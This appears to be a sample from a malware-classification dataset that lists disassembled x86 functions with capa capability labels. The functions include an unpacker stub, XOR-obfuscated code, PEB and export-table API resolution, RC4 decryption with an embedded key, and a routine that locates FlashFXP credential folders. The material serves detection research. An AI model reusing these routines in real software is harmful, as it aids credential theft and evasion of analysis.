joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4
Function at 0x404000
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
jmp 0x404039
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
pop ebp
ret
Function at 0x430391
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48d0b8]
jne 0x43039b
repz ret
jmp fcn.00433a5f

Function at 0x4391bb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48d0b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00433107
and dword [ebp - 0x14], 0
cmp dword [0x48ee0c], 0
mov dword [ebp - 0x18], eax
jne 0x43926e
push 0x402b78
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x439316
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402b6c
push ebx
call edi
test eax, eax
je 0x439316
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402b5c
push ebx
mov dword [0x48ee0c], eax
call edi
push eax
call esi
push 0x402b48
push ebx
mov dword [0x48ee10], eax
call edi
push eax
call esi
push 0x402b2c
push ebx
mov dword [0x48ee14], eax
call edi
push eax
call esi
mov dword [0x48ee1c], eax
test eax, eax
je 0x43926e
push 0x402b14
push ebx
call edi
push eax
call esi
mov dword [0x48ee18], eax
mov eax, dword [0x48ee18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4392c7
cmp dword [0x48ee1c], ecx
je 0x4392c7
push eax
call esi
push dword [0x48ee1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4392c7
test ebx, ebx
je 0x4392c7
call edi
test eax, eax
je 0x4392be
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4392be
test byte [ebp - 8], 1
jne 0x4392c7
or dword [ebp + 0x10], 0x200000
jmp 0x4392fa
mov eax, dword [0x48ee10]
cmp eax, dword [ebp - 0x18]
je 0x4392fa
push eax
call esi
test eax, eax
je 0x4392fa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4392fa
mov eax, dword [0x48ee14]
cmp eax, dword [ebp - 0x18]
je 0x4392fa
push eax
call esi
test eax, eax
je 0x4392fa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48ee0c]
call esi
test eax, eax
je 0x439316
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x439318
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00430391
leave
ret
Function at 0x40cb9f
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x40cbdc
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x40cbd5
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x40cbe1
add edx, 0x28
cmp edx, esi
jne 0x40cbc6
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x40cbde

Function at 0x41739d
Capabilities:
Encode data using xor

Disassembly:
call 0x417316
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x417346
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x417362
xor edx, 0
jmp 0x41736d
xor edx, edx
jmp 0x417384
jmp 0x417390
xor eax, eax
push 0x8427d7c0
call 0x41739d
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x4173d9
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x4173b2
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4173f0
add eax, 0
jno 0x4173f5
add esi, 0
ret 0x10
Function at 0x41815e
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x418180
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x418322
cmp edi, dword [ebp + 0x10]
jb 0x418322
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.00417c4a
inc edi
jmp 0x418209
jmp 0x418216
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00417c4a
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00417c4a
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x41826a
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x41824e
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.00418298
add dword [eax], 0x39
jle 0x418274
sub al, 0xf5
mov ch, al
call fcn.004182ad
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x419f85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x419f9b
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x419fac
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.00419fed
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x41c359
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x41c2a2
add ebx, 0
push ecx
call 0x41c2b7
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x100a62b4
sub ebx, dword [0x100c5af3]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x100c5ae3
call fcn.00417d81
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0041728f
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x41c415
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x41c415
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x41c3cc
mov eax, 1
lock xchg dword [0x100c5aef], eax
push 0x3dd1fc71
call 0x41c359
push esi
add esp, 8
cmp eax, 0
jne 0x41c342
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x41c368
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x41c37d
cmp ecx, edx
cmp eax, 0
je 0x41c3a2
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x41c38c
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0041c3bb
dec eax
loope 0x41c3be
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x100c5aef], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x41c3f2
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x41c407
jmp 0x41c412
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x41c300

Function at 0x42347a
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x423750
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x100b2767
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x100a972d
push 0xffffffffffffffff
call fcn.0041a67a
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4234e4
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.004234fc
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x423744
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x423718
Function at 0x432f4a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x432f6c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x432f6c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x432f6c
ret
cmp word [ebx + 4], 0x14c
jne 0x432f6c
test word [ebx + 0x16], 2
je 0x432f6c
test word [ebx + 0x16], 0x100
je 0x432f6c
cmp word [ebx + 0x18], 0x10b
jne 0x432f6c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x432f6c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x432ff8
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x432f8c
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.00419ed7
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x432f6c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x432ff8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x432f6c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x432f6c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x432f6c
ret
cmp word [ebx + 4], 0x14c
jne 0x432f6c
test word [ebx + 0x16], 2
je 0x432f6c
test word [ebx + 0x16], 0x100
je 0x432f6c
cmp word [ebx + 0x18], 0x10b
jne 0x432f6c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x432f6c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x432ff8
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x432f8c
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.00419ed7
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x432f6c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x4330af
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x433108
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4330af
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4330be
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x838d61
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x43310f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.00419f85
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4331ae
add edi, 4
add eax, 2
dec ecx
jne 0x4330f4
call 0x43315b
loope 0x433151
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4331ab
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4331bc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x43316f
cmp eax, ecx
ja 0x43316f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4331f9
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4331ef
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.0041a464
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4330be
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x433108
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4330af
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4330be
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x838d61
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x43310f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.00419f85
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4331ae
add edi, 4
add eax, 2
dec ecx
jne 0x4330f4
call 0x43315b
loope 0x433151
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4331ab
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4331bc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x43316f
cmp eax, ecx
ja 0x43316f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4331f9
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4331ef
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.0041a464
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40253c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040d640
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114d4], esi
push edi
mov dword [ebp - 4], esi
jne 0x402572
jmp 0x402568
push 0x2710
call ebx
call fcn.00406d6f
cmp eax, 1
jne 0x402561
cmp dword [ebp + 0x1c], esi
je 0x402584
push 4
push esi
push 7
call fcn.0040a82a
add esp, 0xc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x18], esi
jle 0x4025ba
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407083
add esp, 0x10
test eax, eax
jne 0x4025c1
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x18]
jl 0x402594
xor eax, eax
jmp 0x402660
cmp dword [ebp + 0x1c], esi
je 0x4025d3
push 4
push esi
push 8
call fcn.0040a82a
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040d5c0
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x40e314
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.004054ea
mov ecx, 0x40e318
call fcn.004054ea
cmp dword [ebp + 0x14], esi
je 0x402630
mov edx, dword [ebp + 0x14]
mov eax, str.none
call fcn.00405464
test eax, eax
je 0x402630
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2060]
call fcn.004054ea
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x420e48
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40265d
or dword [ebp - 4], 8
jmp 0x402660
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x40266c
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x24]
cmp ecx, esi
je 0x402675
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033ce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x4033f9
movzx eax, ax
cmp ax, 3
je 0x403401
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x4033e9
cmp word [edx], 3
je 0x403401
xor edx, edx
test edx, edx
je 0x403411
call fcn.0040c3f4
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x403429
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c3f4
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x403496
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c2c3
test al, al
je 0x403496
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x40348c
cmp esi, dword [ebp - 4]
jne 0x403462
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403479
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x40345b
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40373d
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040bf2d
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.0040550e
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.00408549
add esp, 0xc
cmp eax, 0xffffffff
je 0x4037c2
cmp eax, ebx
jbe 0x4037c2
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.0040349d
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x403837
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.0040550e
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40382e
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x403504
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.00408302
add esp, 0x24
inc esi
cmp esi, 3
jb 0x4037f3
cmp dword [ebp - 4], ebx
jbe 0x403843
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x40384c
push dword [ebp - 8]
call fcn.0040beca
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403851
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.0040868a
push edx
push eax
call fcn.0040865b
ret